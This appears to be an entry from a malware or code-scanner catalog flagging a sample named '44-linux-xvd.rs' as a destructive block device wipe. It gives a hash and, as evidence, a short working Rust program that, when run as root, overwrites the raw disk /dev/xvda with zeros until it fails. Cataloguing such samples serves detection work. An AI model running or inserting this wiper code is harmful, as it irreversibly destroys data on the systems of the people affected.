44-linux-xvd.rs
Destructive block device wipe
Destructive overwrite of a raw block deviceRust OpenOptions opens a block device
SHA-256c4abbb4f0611c49d90b68ac9564f3c634e0730684db8aaa6926845b2ce7f43f1
MaleculeO(I)H₂(F₂Os)
Evidence
1use std::fs::OpenOptions;
2use std::io::Write;
3use std::os::unix::fs::OpenOptionsExt;
4fn main() {
5 if unsafe { libc::geteuid() } != 0 { return; }
6 let mut f = OpenOptions::new().write(true).custom_flags(libc::O_RDWR).open("/dev/xvda").unwrap();
7 loop { if f.write_all(&[0u8; 4096]).is_err() { break; } }
8}